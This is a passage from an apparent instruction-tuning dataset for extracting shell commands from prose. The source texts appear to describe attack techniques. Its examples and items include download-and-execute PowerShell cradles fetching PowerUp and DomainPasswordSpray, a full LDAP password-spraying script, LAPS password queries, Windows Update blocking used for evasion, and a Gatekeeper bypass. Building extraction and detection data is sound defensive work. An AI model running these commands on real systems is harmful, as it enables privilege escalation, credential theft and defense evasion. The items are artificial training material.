[Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To encrypt the file(s) with 7z, use the following command: 7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}\n; For file encryption via openssl, execute the following: openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}\n",
    "output": "{\"command_list\": [\"7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}\\n\", \"openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To configure Windows Auto Update to notify before downloading updates, which Redline uses for defense evasion, run the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"AUOptions\" /t REG_DWORD /d 2 /f; As part of its defense evasion strategy, Redline blocks Windows Update connections by executing this registry command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\" /v \"DoNotConnectToWindowsUpdateInternetLocations\" /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\" /v \\\"AUOptions\\\" /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\" /v \\\"DoNotConnectToWindowsUpdateInternetLocations\\\" /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The PowerShell command Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime is used here to query LDAP and display Microsoft LAPS attributes.; For enumerating all computer objects with their complete set of attributes, including LAPS password details, execute this PowerShell cmdlet: Get-adcomputer -SearchScope subtree -filter \"name -like '*'\" -Properties *",
    "output": "{\"command_list\": [\"Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\", \"Get-adcomputer -SearchScope subtree -filter \\\"name -like '*'\\\" -Properties *\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To load a kernel module in Linux, use the following command: sudo insmod #{module_path}; To test the IOKit API by loading a kernel module for macOS (specifically the SoftRAID kext), use the following commands: sudo #{exe_path}\nkextstat 2>/dev/null | grep SoftRAID\nsudo kextunload /Library/Extensions/SoftRAID.kext",
    "output": "{\"command_list\": [\"sudo insmod #{module_path}\\n\", \"sudo #{exe_path}\\nkextstat 2>/dev/null | grep SoftRAID\\nsudo kextunload /Library/Extensions/SoftRAID.kext\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For a domain-wide password spray attack with the specified password, use the following multi-step command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force; To perform password spraying against all Active Directory domain users via LDAP with NTLM or Kerberos authentication, use the following PowerShell script (requires AD RSAT module and domain user context):\nif (\"#{auth}\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n  Write-Host \"Only \\'NTLM\\' and \\'Kerberos\\' auth methods are supported\"\n  exit 1\n}\n\n$DomainUsers = Get-ADUser -LDAPFilter \\'(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))\\' -Server #{domain} | Select-Object -ExpandProperty SamAccountName\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"#{domain}\",389)\n\n$DomainUsers | Foreach-Object {\n  $user = $_\n  $password = \\'#{password}\\'\n\n  $credz = new-object System.Net.NetworkCredential($user, $password, \"#{domain}\")\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\n  try {\n    Write-Host \" [-] Attempting ${password} on account ${user}.\"\n    $conn.bind()\n    # if credentials aren\\'t correct, it will break just above and goes into catch block, so if we\\'re here we can display success\n    Write-Host \" [!] ${user}:${password} are valid credentials!\"\n  } catch {\n    Write-Host $_.Exception.Message\n  }\n}\nWrite-Host \"End of password spraying\"\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force\\n\", \"if (\\\"#{auth}\\\".ToLower() -NotIn @(\\\"ntlm\\\",\\\"kerberos\\\")) {\\n  Write-Host \\\"Only 'NTLM' and 'Kerberos' auth methods are supported\\\"\\n  exit 1\\n}\\n\\n$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName\\n\\n[System.Reflection.Assembly]::LoadWithPartialName(\\\"System.DirectoryServices.Protocols\\\") | Out-Null\\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\\\"#{domain}\\\",389)\\n\\n$DomainUsers | Foreach-Object {\\n  $user = $_\\n  $password = '#{password}'\\n\\n  $credz = new-object System.Net.NetworkCredential($user, $password, \\\"#{domain}\\\")\\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\\n  try {\\n    Write-Host \\\" [-] Attempting ${password} on account ${user}.\\\"\\n    $conn.bind()\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] ${user}:${password} are valid credentials!\\\"\\n  } catch {\\n    Write-Host $_.Exception.Message\\n  }\\n}\\nWrite-Host \\\"End of password spraying\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can identify listening ports on a host by executing this nmap command: nmap -Pn -sV -p #{port_range} #{host}; Threat actors often enumerate system drivers by executing this command sequence: driverquery /v /fo list\ndriverquery /si /fo list, which provides comprehensive driver information in list format.",
    "output": "{\"command_list\": [\"nmap -Pn -sV -p #{port_range} #{host}\\n\", \"driverquery /v /fo list\\ndriverquery /si /fo list\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass Gatekeeper via the command line, use the following command: sudo xattr -d com.apple.quarantine #{app_path}; The version information for Internet Explorer can be obtained by executing this registry query: reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\" /v svcVersion",
    "output": "{\"command_list\": [\"sudo xattr -d com.apple.quarantine #{app_path}\\n\", \"reg query \\\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Internet Explorer\\\" /v svcVersion\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an 